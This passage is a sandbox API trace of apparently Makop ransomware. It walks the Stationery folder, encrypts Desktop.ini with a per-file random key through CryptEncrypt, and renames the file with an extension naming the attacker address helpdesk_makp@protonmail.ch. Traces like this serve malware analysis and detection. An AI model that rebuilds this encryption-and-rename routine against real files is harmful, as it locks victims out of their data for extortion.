hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0095.268] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0095.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.268] GetLastError () returned 0x5 [0095.268] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0095.268] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0095.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.269] GetLastError () returned 0x5 [0095.269] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0095.269] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0095.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0095.269] GetProcessHeap () returned 0x48a0000 [0095.270] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.270] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.270] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0095.270] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0095.273] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.273] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.273] GetProcessHeap () returned 0x48a0000 [0095.273] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.273] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0095.273] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.273] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0095.274] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0095.274] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0095.274] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0095.274] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0095.274] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0095.275] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.275] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.275] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.275] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x285, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x285, lpOverlapped=0x0) returned 1 [0095.275] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x290, dwBufLen=0x290 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x290) returned 1 [0095.275] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.275] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x290, lpOverlapped=0x0) returned 1 [0095.275] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.275] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.275] SetEndOfFile (hFile=0xf0) returned 1 [0095.292] GetProcessHeap () returned 0x48a0000 [0095.292] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.292] GetProcessHeap () returned 0x48a0000 [0095.292] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.292] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 116 [0095.292] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.293] CloseHandle (hObject=0xf0) returned 1 [0095.293] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0095.294] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0095.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.294] GetLastError () returned 0x5 [0095.294] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0095.294] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0095.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.295] GetLastError () returned 0x5 [0095.295] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0095.295] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0095.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.295] GetLastError () returned 0x5 [0095.295] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0095.295] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0095.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.300] GetLastError () returned 0x5 [0095.300] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0095.301] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0095.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.301] GetLastError () returned 0x5 [0095.301] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0095.301] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0095.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.303] GetLastError () returned 0x5 [0095.303] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0095.303] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0095.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.305] GetLastError () returned 0x5 [0095.305] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0095.305] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0095.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.305] GetLastError () returned 0x5 [0095.305] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0095.305] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0095.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.306] GetLastError () returned 0x5 [0095.306] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0095.306] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0095.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.306] GetLastError () returned 0x5 [0095.306] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0095.306] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0095.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.308] GetLastError () returned 0x5 [0095.308] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0095.308] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0095.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.308] GetLastError () returned 0x5 [0095.308] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0095.308] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf") returned 66 [0095.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.310] GetLastError () returned 0x5 [0095.310] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0095.310] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg") returned 67 [0095.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.310] GetLastError () returned 0x5 [0095.310] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0095.310] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf") returned 76 [0095.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.311] GetLastError () returned 0x5 [0095.311] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0095.311] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf") returned 67 [0095.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.312] 